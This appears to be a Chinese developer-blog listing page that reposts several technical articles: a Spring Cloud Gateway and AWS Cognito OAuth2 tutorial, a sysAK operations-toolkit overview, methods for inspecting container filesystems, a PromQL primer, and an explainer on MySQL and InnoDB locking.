.header("X-Custom", "MyCustomHeader") //
.body(response.getBody()) //
);
}

实现

AWS Cognito

  • 创建AWS实例

首先使用Terraform构筑AWS Cognito实例。

1
2
3
bash复制代码cd ./aws-cognito
terraform init
terraform apply

Client ID, user pool ID 会被打印在窗口中,后续会使用到。

  • 获取 client secret

出于安全方面的考虑,Terrafrom不允许将client secret 打印在窗口中,所以需要用以下命令获取。

1
2
python复制代码aws cognito-idp describe-user-pool-client --user-pool-id <your-user-pool-id> \
--client-id <your-client-id>
  • 注册用户并确认

注册用户admin@example.com。

1
2
3
4
5
6
7
lua复制代码aws cognito-idp sign-up --region <your-aws-region> \
--client-id <your-client-id> --username admin@example.com \
--password password123

aws cognito-idp admin-confirm-sign-up --region <your-aws-region> \
--user-pool-id <your-user-pool-id> \
--username admin@example.com
  • 加入群组

将测试用户加入account.access群组。

1
2
3
sql复制代码aws cognito-idp admin-add-user-to-group --user-pool-id <your-user-pool-id> \
--username admin@example.com \
--group-name account.access

API网关

  • 依赖

在build.gradle中添加如下依赖:

1
2
3
4
5
6
groovy复制代码    implementation  "org.springframework.boot:spring-boot-starter-webflux"
implementation "org.springframework.boot:spring-boot-starter-oauth2-client"
implementation "org.springframework.security:spring-security-oauth2-jose"
implementation "org.springframework.security:spring-security-config"
implementation "org.springframework.cloud:spring-cloud-starter-gateway"
implementation "org.springframework.cloud:spring-cloud-gateway-webflux"
  • 配置

在application.yaml中添加OAuth2的配置。这里需要将上一步中获得的Cognito的client-id, client-secret等信息配置到该文件中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
yaml复制代码spring:
security:
oauth2:
client:
provider:
cognito:
issuerUri: https://cognito-idp.<region-id>.amazonaws.com/<region-id>_<user-pool-id>
user-name-attribute: username
registration:
cognito:
client-id: <client-id>
client-secret: <client-secret>
client-name: scg-cognito-sample-user-pool
provider: cognito
scope: openid
redirect-uri: '{baseUrl}/login/oauth2/code/{registrationId}'
authorization-grant-type: authorization_code

另外,还需要添加路由相关的配置,这里是用来TokenRelayFilter,用于通过Http Header将Token传递给后端微服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
yaml复制代码spring:
cloud:
gateway:
default-filters:
- TokenRelay
routes:
- id: account_service_route
uri: http://localhost:8082
predicates:
- Path=/api/account/**
- id: order_service_route
uri: http://localhost:8083
predicates:
- Path=/api/order/**
- id: storage_service_route
uri: http://localhost:8084
predicates:
- Path=/api/storage/**
  • 代码

在SecurityWebFilterChain中设置自定义的鉴权过滤器MyAuthorizationManager。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
java复制代码@Bean
SecurityWebFilterChain springSecurityFilterChain(ServerHttpSecurity http,
ReactiveClientRegistrationRepository clientRegistrationRepository,
MyAuthorizationManager authorizationManager) {
// Authenticate through configured OpenID Provider
http.oauth2Login(withDefaults());

// Also logout at the OpenID Connect provider
http.logout(logout -> logout.logoutSuccessHandler(new OidcClientInitiatedServerLogoutSuccessHandler(
clientRegistrationRepository)));

// add authorization filters
http.authorizeExchange()
.pathMatchers("/api/**")
.access(authorizationManager);

// Require authentication for all requests
http.authorizeExchange().anyExchange().authenticated();

// Disable CSRF in the gateway to prevent conflicts with proxied service CSRF
http.csrf().disable();

return http.build();
}

使用ReactiveOAuth2UserService,将Cognito群组信息转换为Spring Security能够识别的角色/权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
java复制代码@Bean
public ReactiveOAuth2UserService<OidcUserRequest, OidcUser> oidcUserService() {
final OidcReactiveOAuth2UserService delegate = new OidcReactiveOAuth2UserService();

return (userRequest) -> {
// Delegate to the default implementation for loading a user
return delegate.loadUser(userRequest)
.map(user -> {
Set<GrantedAuthority> mappedAuthorities = new HashSet<>();

user.getAuthorities().forEach(authority -> {
if (authority instanceof OidcUserAuthority) {
OidcUserAuthority oidcUserAuthority = (OidcUserAuthority) authority;
// get cognito groups from token
JSONArray groups = oidcUserAuthority.getIdToken().getClaim("cognito:groups");
if (Objects.nonNull(groups)) {
groups.stream()
// map group to role
.map(roleName -> "ROLE_" + roleName)
.map(SimpleGrantedAuthority::new)
.forEach(mappedAuthorities::add);
}
}
});

return new DefaultOidcUser(mappedAuthorities, user.getIdToken(), user.getUserInfo());
});
};
}

自定义的鉴权过滤器MyAuthorizationManager代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
java复制代码@Component
public class MyAuthorizationManager implements ReactiveAuthorizationManager<AuthorizationContext> {

// ...

@Override
public Mono<AuthorizationDecision> check(Mono<Authentication> authenticationMono,
AuthorizationContext authorizationContext) {
ServerHttpRequest request = authorizationContext.getExchange().getRequest();
// pass OPTIONS request of CORS
if (request.getMethod() == HttpMethod.OPTIONS) {
return Mono.just(new AuthorizationDecision(true));
}

// authenticate
String url = request.getURI().getPath();
return authenticationMono
.map(auth -> new AuthorizationDecision(urlAuthorityChecker.check(auth.getAuthorities(), url)))
.defaultIfEmpty(new AuthorizationDecision(false));
}

}

具体的权限校验逻辑在UrlAuthorityChecker中实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
java复制代码@Component
@EnableScheduling
public class UrlAuthorityChecker {

// ...

/**
* map for permission and url
*/
private Map<String, String> permissionUrlMap;


/**
* check granted authorities of user
*/
public boolean check(Collection<? extends GrantedAuthority> authorities, String requestedUrl) {
// loop all the authorities of user to find out if the url is authenticated
for (GrantedAuthority authority : authorities) {
String authorizationUrl = permissionUrlMap.get(authority.getAuthority());
if (authorizationUrl != null && antPathMatcher.match(authorizationUrl, requestedUrl)) {
return true;
}
}
return false;
}

/**
* create newPermissionUrlMap and replace the old one.
* add scheduled task to refresh the map every certain ms.
*/
@Scheduled(initialDelay = 0, fixedDelay = REFRESH_DELAY)
private void updatePermissionNameAuthorizationUrlMap() {
Map<String, String> permissions = permissionManager.getPermissions();
Map<String, String> newPermissionUrlMap = new ConcurrentHashMap<>();
permissions.forEach((k,v) -> newPermissionUrlMap.put("ROLE_" + k, v));
permissionUrlMap = newPermissionUrlMap;
}
}

关于API组合功能,我们使用ProxyExchange实现了订单API和库存API的整合。

1
2
3
4
5
6
7
8
9
10
java复制代码@GetMapping("/composition/{id}")
public Mono<? extends ResponseEntity<?>> proxy(@PathVariable Integer id, ProxyExchange<?> proxy) throws Exception {

return proxy.uri("http://localhost:8083/api/order/get/" + id)
.get(resp -> ResponseEntity.status(resp.getStatusCode())
.body(resp.getBody()))
.flatMap(re1 -> proxy.uri("http://localhost:8084/api/storage/get/" + id)
.get(resp -> ResponseEntity.status(resp.getStatusCode())
.body(Map.of("order",re1.getBody(),"storage",resp.getBody()))));
}

资管服务器(微服务)

  • 依赖

在build.gradle中添加如下依赖:

1
2
groovy复制代码    implementation 'org.springframework.boot:spring-boot-starter-web'
implementation 'org.springframework.boot:spring-boot-starter-oauth2-resource-server'
  • 配置

在application.yaml中,增加OAuth2的资源服务器配置。

1
2
3
4
5
6
yaml复制代码spring:
security:
oauth2:
resourceserver:
jwt:
issuer-uri: https://cognito-idp.<region-id>.amazonaws.com/<region-id>_<user-pool-id>
  • 代码
    在SecurityConfig中配置资源服务器,启用 JWT令牌 校验,并采取API网关相同的措施,将令牌中的Cognito群组信息装换为角色/权限。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
java复制代码@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

@Override
protected void configure(HttpSecurity http) throws Exception {
// Validate tokens through configured OpenID Provider
http.oauth2ResourceServer().jwt().jwtAuthenticationConverter(jwtAuthenticationConverter());
// Permit request for permissions
http.authorizeRequests().antMatchers(HttpMethod.GET, "/api/account/permissions").permitAll();
// Require authentication for the other requests
http.authorizeRequests().anyRequest().authenticated();
}

private JwtAuthenticationConverter jwtAuthenticationConverter() {
JwtAuthenticationConverter jwtAuthenticationConverter = new JwtAuthenticationConverter();
// Convert realm_access.roles claims to granted authorities, for use in access decisions
jwtAuthenticationConverter.setJwtGrantedAuthoritiesConverter(
jwt -> {
Object groups = jwt.getClaims().get("cognito:groups");
if (Objects.nonNull(groups)) {
return ((List<?>) groups).stream()
.map(roleName -> "ROLE_" + roleName)
.map(SimpleGrantedAuthority::new)
.collect(Collectors.toList());
} else {
return new ArrayList<>();
}
});
return jwtAuthenticationConverter;
}
}

完整的示例代码可以从我的Github上下载。

其他方案

image.png

除了采用OAuth的授权码模式,还可以选择简单模式,将登录以及令牌的获取交给前端,API Gateway只作为资源服务器,而后端的微服务则只对API Gateway开放访问。前端是本地应用(Native Application)的情况下,这样做是十分可取的。本地应用是指安装在设备上的客户端软件,区别于基于浏览器的SPA,因为基于浏览器的应用代码是公开的,令牌容易泄露,所以不适用简单模式。

相关文章

  • [微服务/API时代的前端开发] BFF超入门–Netflix、Twitter、Recruit选择BFF的理由
  • [微服务/API时代的前端开发] BFF入门–5个实用的BFF使用案例
  • [微服务/API时代的前端开发] BFF进阶–实践中常见的3种反模式

参考链接

  • OAuth2.0
  • Spring Cloud Gateway with OpenID Connect and Token Relay
  • Understanding Amazon Cognito user pool OAuth 2.0 grants
  • Have Routes Support Multiple URIs?
  • Spring cloud samples: sample-gateway-oauth2login
  • JavaDoc: org.springframework.cloud.gateway.webflux.ProxyExchange

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

sysAK(青囊)系统运维工具集:如何实现高效自动化运维?

发表于 2021-11-30

简介:What is sysAK、典型工具介绍、开源 3 方面介绍了 sysAK 系统,目前 sysAK 工具集已经在龙蜥社区开源,并且在系统运维 SIG、跟踪诊断 SIG 一起共建,希望大家后期加入 SIG 一起讨论共建。

**编者按:本文整理自「云栖大会龙蜥专场论坛」的技术分享。作者张毅,系统运维SIG 核心人员。另龙蜥专场视频已经上线至龙蜥社区官网,欢迎观看:**云栖大会龙蜥专场论坛。

系统运维 SIG 已在龙蜥社区建立 SIG 组。目前 sysAK 工具集已经在龙蜥社区开源,并且在系统运维 SIG、跟踪诊断 SIG 一起共建,希望大家后期加入 SIG 一起讨论共建。本文将从技术角度分享 sysAK 系统。

一、 What is sysAK

sysAK 是我们去年才提的概念,但里面的功能来自于我们多年来在阿里百万规模的服务器运维经验。在系统运维过程中,资源监控与利用、问题排查与解决是核心诉求,因此 sysAK 覆盖系统运维的三大典型场景。

**1、系统监控。**除了常规的一些系统健康指标外,sysAK 还会针对各种系统资源提供更精细化的资源监控,帮助业务运维实现细粒度的运维调度和资源控制,进而高效运用资源。

**2、系统诊断。**这是对于典型的问题做分析的覆盖,比如说负载异常、网络抖动、内存泄漏、IO 毛刺、性能瓶颈、应用异常等等。

3、系统介入。这块更重要的一点是故障修复,因为我们的系统运维终极目标是减少或者避免业务损失,故障总是不可预期的会发生,发生之后我们能快速发现和分析,也需要对这个问题本身做一些修复或止血,所以 sysAK 也会提供一些系统不具备但常用的故障修复手段在里面。

覆盖比较全的场景做了可用工具集,其实还是不够的,另外一个目标是工具怎么做的好用。好用有很多因素,我认为至少要具备以下三点:

**1、 对普通用户来说易懂。**比如说现在的一些服务越来越多,系统越来越复杂,现在一些工具对运维来说要去了解背后的专业知识才能使用。运维工具输出结果要直达问题的核心,用户直接能看懂,不管是诊断结果或是修复建议。

**2、 对运行系统来说影响少。**工具本身要尽量减少对系统的扰动,sysAK 通过高性能实现来做,并通过统一的资源框架来做管理,工具可以随时随地常态化运行。这样的话,对系统问题及时发现是非常有好处的。

**3、 对其他平台接口友好,便于被集成。**sysAK 工具集可以做成标准化输出形式,在大型集群平台上也可以做集群化运维。

二、典型工具介绍

下面可根据一些分类场景的典型工具来看 sysAK 是怎么达到这些目的。

系统运维的话,Load 作为服务器运行负载的一个典型指标,经常被运维人员用于评价系统运行是否良好的一个关键因素,其计算本身是比较简单的,就只是简单恒量运行任务和 IO 等待任务的数量。对于运维人员来说,他可以方便的拿到当前是哪些进程导致 Load 高,但背后是什么导致,原因各种各样。系统错误或者硬件错误都可能会导致 Load 高,只是拿到进程情况,没有专业的操作系统知识是无法继续分析的。所以 loadtask 工具会进行全方位的系统分析,除获取进程运行栈外,还自动分析内存压力、cpu 压力、IO 压力、系统错误,并将这些因素和进程栈进行关联,跟当前进程对照,上下文结合,给出最后精确的 Load 异常原因,让运维人员直接根据这个作出决策。

内存泄露是内存问题的典型场景,对于内存泄露问题,通常我们的一些工具也是通过分配和释放、是否匹配的模式去识别泄露点在哪里,但这只是第一步工作。第二步工作才是最关键的,因为分配和释放不匹配其实是正常情况下也会出现,我们要对这个数据特征模式做分析,排除干扰因素,才能知道是否真的泄露了,而这块的工作花的时间是最多的,所以我们对于内核内存,通过以前的历史经验总结出来了一些模型,把数据分析的过程总结放在工具里面,我们通过这个工具可以自动快速的找到泄露点在哪个地方。

锁竞争分析工具,锁竞争是比较常见的业务效率低下或突发抖动的原因之一,通过静态分析我们可以找到锁的持有者是谁,但是一般业务抖动、长时间性能上不去,这是动态的锁的过程,ulockcheck 工具会跟踪锁的持有释放流程,对持有锁的时间时长和频率进行分析,真正判断出来到底是因为某一些任务持有过长还是业务竞争锁比较激烈,并且给出竞争场景的上下文,帮助业务开发人员精准判断出优化点在哪儿。

第四个是网络类问题,网络问题分析更是专业性极强的事情,通常需要抓包并分析数据报文,耗费大量时间。我们开发的 PingTrace 工具通过在内部封装自定义网络报文协议,在 server、clinent 对报文经过的全链路流程进行记录,除各个时间段进行精准时间统计外,还包括这个过程中所有的系统中断或者调度因素的影响,做综合性判断,把数据聚合出来,最后给出时延的精确原因。

第五个是性能瓶颈快速界定工具。业界有太多针对不同场景(从应用到硬件)的专业性能调优工具,找到性能瓶颈从程序或者系统级别去修改优化,我们接下来有一个议题也会讲性能调优工具。appscan 工具可能更侧重于运维人员,对运维人员来说,通常不会涉及到业务或系统具体怎么调优这么细致的力度,他更关注的是系统是否满足业务运行,哪一类资源是瓶颈,是否可以从运维手段上得到解决,因而除了帮助优化外,appscan 工具尽可能的从应用可能使用到资源的上去分析,帮助运维做出决策。

最后一个工具是ossre,这不是单独的工具,它其实是我们内部运行的自动化诊断专家系统,前端会分析数据、采集数据,后端会有大数据人工智能的方式去分析这个系统能存在的问题或者是已知问题。其前端集成到了 sysAK 中,也可单独使用,对于一些不需要后端大量数据也可分析出的已知问题给出解决方案。

三、开源

由于不断发展和变化的复杂业务环境,工具集也需要持续迭代,以覆盖更多的场景,因此希望通过社区合作,共同打造出这个跨平台的统一工具集,为此,工具集支持多种语言格式,c、shell、python、go 等,方便不同语言习惯的开发者进行开发,快速集成;同时针对需要采集系统内核数据的情况,也同时兼容 Linux kernel module 和 eBPF 两种技术,对内核版本不做限制。

目前 sysAK 工具集的代码已经在龙蜥社区进行了托管,并且在系统运维 SIG、跟踪诊断 SIG 中进行开源,希望大家后期加入 SIG 一起讨论共建。谢谢!

原文链接

本文为阿里云原创内容,未经允许不得转载。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

5 种快速查找容器文件系统中文件的方法

发表于 2021-11-30

如果你经常使用容器,那么你很有可能希望在某个时刻查看正在运行的容器的文件系统。也许容器无法正常运行,你想读取一些日志,也许你想检查容器内部的一些配置文件…或者,你可能像我一样,想在该容器中的二进制文件上放置一些 eBPF 探针(稍后将详细介绍)。

不管原因是什么,在这篇文章中,我们将介绍一些可以用来检查容器中的文件的方法。

我们将从研究容器文件系统的简单和通常推荐的方法开始,并讨论为什么它们不能总是工作。接下来,我们将对 Linux 内核如何管理容器文件系统有一个基本的了解,我们将利用这一了解以不同但仍然简单的方式检查文件系统。

方法一:Exec 到容器中

如果你快速搜索如何检查容器的文件系统,你会发现一个常见的解决方案是使用 Docker 命令:

docker exec -it mycontainer /bin/bash

这是一个很好的开始。如果它能满足你的所有需求,你应该继续使用它。

然而,这种方法的一个缺点是,它需要在容器中存在一个 shell。如果容器中没有/bin/bash、/bin/sh 或其他 shell,那么这种方法将不起作用。例如,我们为 Pixie 项目构建的许多容器都是基于无 distroless 的,并且没有包含一个 shell 来保持镜像较小。在这些情况下,这种方法不起作用。

即使 shell 可用,你也无法访问所有你习惯使用的工具。因此,如果容器中没有安装 grep,那么你也不能访问 grep。这是另一个找更好工作的理由。

方法二:使用 nsenter

如果你再深入一点,就会意识到容器进程与 Linux 主机上的其他进程一样,只是在命名空间中运行,以使它们与系统的其他部分隔离。

所以你可以使用 nsenter 命令来输入目标容器的命名空间,使用类似这样的东西:

1
2
3
4
5
bash复制代码# Get the host PID of the process in the container
PID=$(docker container inspect mycontainer | jq '.[0].State.Pid')

# Use nsenter to go into the container’s mount namespace.
sudo nsenter -m -t $PID /bin/bash

它进入目标进程的挂载(-m)命名空间(-t $PID),并运行/bin/bash。进入挂载命名空间本质上意味着我们获得容器所看到的文件系统视图。

这种方法似乎比 docker 的 exec 方法更有前途,但也遇到了类似的问题:它要求目标容器中包含/bin/bash(或其他 shell)。如果我们输入的不是挂载命名空间,我们仍然可以访问主机上的文件,但是因为我们是在执行/bin/bash(或其他 shell)之前输入挂载命名空间,所以如果挂载命名空间中没有 shell,我们就不走运了。

方法三:使用 docker 复制

解决这个问题的另一种方法是简单地将相关文件复制到主机,然后使用复制的文件。

要从正在运行的容器中复制选定的文件,可以使用:

docker cp mycontainer:/path/to/file file

也可以用以下方法来快照整个文件系统:

docker export mycontainer -o container_fs.tar

这些命令使你能够检查文件,当容器可能没有 shell 或你需要的工具时,这些命令比前两种方法有了很大的改进。

方法四:在主机上查找文件系统

复制方法解决了我们的许多问题,但是如果你试图监视日志文件呢?或者,如果你试图将 eBPF 探针部署到容器中的文件中,又该怎么办呢?在这些情况下,复制是不起作用的。

我们希望直接从主机访问容器的文件系统。容器的文件应该在主机的文件系统中,但是在哪里呢?

Docker 的 inspect 命令给了我们一个线索:

1
arduino复制代码docker container inspect mycontainer | jq '.[0].GraphDriver'

这给我们:

1
2
3
4
5
6
7
8
9
json复制代码{
"Data": {
"LowerDir": "/var/lib/docker/overlay2/63ec1a08b063c0226141a9071b5df7958880aae6be5dc9870a279a13ff7134ab-init/diff:/var/lib/docker/overlay2/524a0d000817a3c20c5d32b79c6153aea545ced8eed7b78ca25e0d74c97efc0d/diff",
"MergedDir": "/var/lib/docker/overlay2/63ec1a08b063c0226141a9071b5df7958880aae6be5dc9870a279a13ff7134ab/merged",
"UpperDir": "/var/lib/docker/overlay2/63ec1a08b063c0226141a9071b5df7958880aae6be5dc9870a279a13ff7134ab/diff",
"WorkDir": "/var/lib/docker/overlay2/63ec1a08b063c0226141a9071b5df7958880aae6be5dc9870a279a13ff7134ab/work"
},
"Name": "overlay2"
}

让我们来分析一下:

LowerDir:包含容器内所有层的文件系统,最后一层除外

UpperDir:容器最上层的文件系统。这也是反映任何运行时修改的地方。

MergedDir:文件系统所有层的组合视图。

WorkDir:用于管理文件系统的内部工作目录。

)

因此,要查看容器中的文件,只需查看 MergedDir 路径。

1
bash复制代码sudo ls /var/lib/docker/overlay2/63ec1a08b063c0226141a9071b5df7958880aae6be5dc9870a279a13ff7134ab/merged

如果你想了解文件系统工作的更多细节,你可以查看 Martin Heinz 关于 overlay 文件系统的博客文章:martinheinz.dev/blog/44。

方法五:/proc//root

把最好的留到最后,还有一种从主机找到容器文件系统的更简单的方法。使用容器内进程的宿主 PID,你可以简单地运行:

sudo ls /proc//root

Linux 已经为你提供了进程挂载命名空间的视图。

此时,你可能会想:为什么我们不采用这种方法,并将其变成一篇只有一行字的博客文章呢?但这都是关于旅程,对吧?

彩蛋:/proc//mountinfo

出于好奇,方法四中讨论的关于容器 overlay 文件系统的所有信息也可以直接从 Linux /proc 文件系统中发现。如果你查看/proc//mountinfo,你会看到如下内容:

1
2
3
4
ruby复制代码2363 1470 0:90 / / rw,relatime master:91 - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/YZVAVZS6HYQHLGEPJHZSWTJ4ZU:/var/lib/docker/overlay2/l/ZYW5O24UWWKAUH6UW7K2DGV3PB,upperdir=/var/lib/docker/overlay2/63ec1a08b063c0226141a9071b5df7958880aae6be5dc9870a279a13ff7134ab/diff,workdir=/var/lib/docker/overlay2/63ec1a08b063c0226141a9071b5df7958880aae6be5dc9870a279a13ff7134ab/work
2364 2363 0:93 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw
2365 2363 0:94 / /dev rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755,inode64
…

在这里,你可以看到容器已经挂载了一个覆盖文件系统作为它的根。它还报告与 docker inspect 报告相同类型的信息,包括容器文件系统的 LowerDir 和 UpperDir。它没有直接显示 MergedDir,但你可以直接使用 UpperDir 并将 diff 改为 merged,这样你就可以看到容器的文件系统了。

我们在 Pixie 怎么用这个

在本博客的开头,我提到了 Pixie 项目需要如何在容器上放置 eBPF 探针。为什么和如何?

Pixie 内部的 Stirling 模块负责收集可观察数据。由于是 k8s 原生的,所以收集的很多数据都来自于在容器中运行的应用程序。Stirling 还使用 eBPF 探针从它监视的进程中收集数据。例如,Stirling 在 OpenSSL 上部署 eBPF 探针来跟踪加密的消息(如果你想了解更多有关这方面的细节,请参阅SSL 跟踪博客[1])。

由于每个容器都捆绑了自己的 OpenSSL 和其他库,因此 Stirling 部署的任何 eBPF 探针都必须位于容器内的文件上。因此,Stirling 使用本文中讨论的技术在 K8s 容器中找到感兴趣的库,然后从主机将 eBPF 探针部署到这些二进制文件上。

下图概述了在另一个容器中部署 eBPF 探针的工作方式。

)

总结

下次当你需要检查容器中的文件时,希望你能尝试一下这些技巧。一旦你体验到不再受容器有没有 shell 限制的自由,你可能就再也不会回去了。只需要访问/proc//root!

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Pormetheus的相关知识看云汇总 初识PromQL

发表于 2021-11-30

汇总网址:

www.kancloud.cn/pshizhsysu/…

初识PromQL

**

    • 查询时间序列
      • 完全匹配与正则匹配
      • 瞬时向量与区间向量
      • 时间位移操作

查询时间序列

Prometheus通过指标名称(metrics name)以及对应的一组标签(labelset)唯一标识一条时间序列,我们可以通过PromQL来查询时间序列。

比如,我们可以通过下面的语句查询各主机的空闲内存

1
复制代码node_memory_MemAvailable_bytes

由于该表达式没有指定标签,所以通过模糊匹配,该表达式会返回两台主机的数据

1
2
ini复制代码node_memory_MemAvailable_bytes{instance="peng01",job="node_exporter"}    3341881344
node_memory_MemAvailable_bytes{instance="peng02",job="node_exporter"} 3514314752

完全匹配与正则匹配

PromQL支持使用=和!=两种完全匹配模式来进行查询。比如,我们可以查询主机peng01的可用内存

1
ini复制代码node_memory_MemAvailable_bytes{instance="peng01"}

也可以用下面的语句查询除主机peng01以外的主机的可用内存

1
arduino复制代码node_memory_MemAvailable_bytes{instance!="peng01"}

PromQL支持使用=~和!~两种完全匹配模式来进行查询,比如

1
ini复制代码node_memory_MemAvailable_bytes{instance=~"peng01|peng02"}

瞬时向量与区间向量

上面语句查询到的结果只会包含时间序列中最新的那个样本值,这样的返回结果我们称为瞬时向量。而相应的这样的表达式称之为瞬时向量表达式。

而如果我们想过去一段时间范围内的样本数据时,我们则需要使用区间向量表达式。区间向量表达式和瞬时向量表达式之间的差异在于在区间向量表达式中我们需要定义时间选择的范围,时间范围通过时间范围选择器[]进行定义。例如,通过以下表达式可以选择最近5分钟内的所有样本数据:

1
css复制代码node_memory_MemAvailable_bytes{}[5m]

通过区间向量表达式查询到的结果我们称为区间向量

除了使用m表示分钟以外,PromQL的时间范围选择器支持其它时间单位

  • s - 秒
  • m - 分
  • h - 时
  • d - 天
  • w - 周
  • y - 年

时间位移操作

在瞬时向量表达式或者区间向量表达式中,都是以当前时间为基准:

1
2
ini复制代码node_memory_MemAvailable_bytes    # 选择当前最新的数据
node_memory_MemAvailable_bytes{}[5m] # 选择以当前时间为基准,5分钟内的数据

而如果我们想查询,5分钟前的瞬时样本数据,或昨天一天的区间内的样本数据呢? 这个时候我们就可以使用位移操作,位移操作的关键字为offset。

可以使用offset时间位移操作:

1
2
sql复制代码node_memory_MemAvailable_bytes offset 5m
node_memory_MemAvailable_bytes[5m] offset 1d

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

这个Mysql锁,看明白算你厉害

发表于 2021-11-30

「时光不负,创作不停,本文正在参加2021年终总结征文大赛」

SQL语句查询过程

锁介绍

Mysql引擎对比

锁是计算机协调多个进程或者线程并发访问某一资源的机制

Mysql锁是Mysql在服务层和存储引擎层的并发控制,保证数据并发访问的一致性、有效性

解决锁冲突也是影响数据并发访问性能的一个重要因素

加锁是消耗资源的,锁的操作 包括 获得锁、检测锁是否已释放、释放锁等

Mysql锁粒度:

默认情况下,表级锁和行级锁都是自动获得的,不需要额外的命令,但在有些情况下,用户需要明确的进行锁表或者事务控制,以确保整个事务的完整性,这样就需要使用事务控制和锁定语句来完成

数据页是mysql中磁盘和内存交换的基本单位,也是mysql管理存储空间的基本单位, 同一个数据库实例的所有表空间都有相同的页大小;默认情况下,表空间中的页大小都为16KB

事务是指通过将一组相关操作组合为一个要么全部成功要么全部失败的单元;这组操作是一个最小的不可再分的工作单元;单个SQL可以看做是一个事务

基本表锁类型(所有引擎都支持)

在执行 LOCK TABLES 后,只能访问显式加锁的这些表,不能访问未加锁的表

SQL语句类型

MyISAM锁

MyISAM锁类型

MyISAM存储引擎只支持表级锁(基本表锁):

MyISAM总是一次获得SQL语句所需要的全部锁,这也正是MyISAM表不会出现死锁(Deadlock Free)的原因

MyISAM自动获取锁的竞争

MyISAM 表的读操作与写操作之间,以及写操作之间都是串行的,串行是通过加锁来实现的

MyISAM 引擎默认是write Lock优先于read Lock的,也就是说如果一堆写请求和一堆读请求同时要一张表的锁,当一个锁释放时,这个锁会优先给写锁队列中等候的获取锁请求,以致于读请求只能在所有的写请求执行完成后才能获得执行机会

MyISAM 引擎读写并发支持较弱

InnoDB锁

InnoDB锁类型

InnoDB存储引擎支持表级锁、行级锁

InnoDB存储引擎默认使用行级锁

InnoDB行锁机制

InnoDB表级锁类-意向锁(解决表级锁在加锁时的互斥检测)

一个事务要对表A加表级共享锁(表级排它锁),必须保证:

  • 当前没有其他事务持有 A 表的排他锁(共享锁和排它锁)
  • 当前没有其他事务持有 A 表中任意一行的排他锁(共享锁和排它锁)

为了检测是否满足第二个条件,该事务必须去检测表中的每一行是否存在排他锁(共享锁和排它锁),很明显这是一个效率很差的做法;但是有了意向锁之后,只要检测表级意向排他锁(意向共享锁和意向排它锁)就可以了

意向锁是有数据引擎自己维护的,用户无法手动操作意向锁,在为数据行加共享锁、排他锁之前,InnoDB会先获取该数据行所在数据表的对应意向锁

意向锁不会与行级的共享 / 排他锁互斥,只会与表级共享锁 / 排他锁互斥;表级锁包括 基本表锁、自增锁

DQL和DML操作涉及到行级锁的互斥,由行级锁机制进行检测和处理;互斥则等待锁释放

InnoDB表级锁-自增锁(保证AUTO_INCREMENT列连续)

InnoDB表级锁-自增锁-主键冲突场景:

InnoDB行级锁-基本行锁

InnoDB行级锁-行锁(InnoDB行级锁按照影响范围区分)

InnoDB行级锁-临键锁(next-key locks)、间隙锁(gap locks):

假如有个索引是:[1,2,3,7]

record lock 锁的是 1,2,3,7

gap lock 锁的是 (-,1),(2,3),(3,7),(7,+)锁的就是区间,不是行

next-key lock锁的是 (-,1],[2,3),[3,7),[ 7,+)既锁范围也锁行

乐观锁与悲观锁

锁机制

悲观锁、乐观锁,本身只是一个概念,不是某种特定的锁机制

有不同的方法可以实现,和数据库本身没有关系

本质上,不管基于哪种方法实现乐观锁,本质都是检验数据

悲观锁是基于数据库实现的,用到了数据库排它锁、共享锁

乐观锁应用例子

1、何谓数据版本,即为数据增加一个版本标识,一般是通过为数据库表增加一个数字类型的 “version” 字段来实现

当读取数据时,将version字段的值一同读出,数据每更新一次,对此version值加一


当我们提交更新的时候,判断数据库表对应记录的当前版本信息与第一次取出来的version值进行比对,如果数据库表当前版本号与第一次取出来的version值相等,则予以更新,否则认为是过期数据


 例如:update table\_name set column1 = 'XXXXX', version = version+1 where version = 123; 

2、使用时间戳(timestamp),这一种实现方式和第一种差不多,同样是在需要乐观锁控制的table中增加一个字段,名称无所谓,字段类型使用时间戳(timestamp), 和上面的version类似

也是在更新提交的时候检查当前数据库中数据的时间戳和自己更新前取到的时间戳进行对比,如果一致则OK,否则就是版本冲突


例如:update table\_name set column1 = 'XXXXX', version\_time = unix\_timestamp() where version\_time = 1606459691;

3、使用状态值(status),这一种实现方式同样是在需要乐观锁控制的table中增加一个字段 status, 不需要提前获取数据,一般用于需要状态流转的流程控制中

 比如 存在状态值 1、2、3,需要控制状态值只可以从1变更为2,2变更为3,这样在更新提交的时候检查当前状态值和合法状态值进行对比,如果一致则OK,否则就是版本冲突


例如:update table\_name set stauts= 2 where status = 1; 

死锁检测和恢复

死锁产生

死锁是指两个或多个事务在同一资源上相互占用,并请求锁定对方占用的资源,从而导致恶性循环

当事务试图以不同的顺序锁定资源时,就可能产生死锁;多个事务同时锁定同一个资源时也可能会产生死锁

锁的行为和顺序和存储引擎相关。以同样的顺序执行语句,有些存储引擎会产生死锁有些不会——死锁有双重原因:真正的数据冲突;存储引擎的实现方式

检测死锁

数据库系统实现了各种死锁检测和死锁超时的机制;InnoDB存储引擎能检测到死锁的循环依赖并立即返回一个错误

死锁恢复

死锁发生以后,只有部分或完全回滚其中一个事务,才能打破死锁,InnoDB目前处理死锁的方法是,将持有最少行级排他锁的事务进行回滚;所以事务型应用程序在设计时必须考虑如何处理死锁,多数情况下只需要重新执行因死锁回滚的事务即可

外部锁的死锁检测

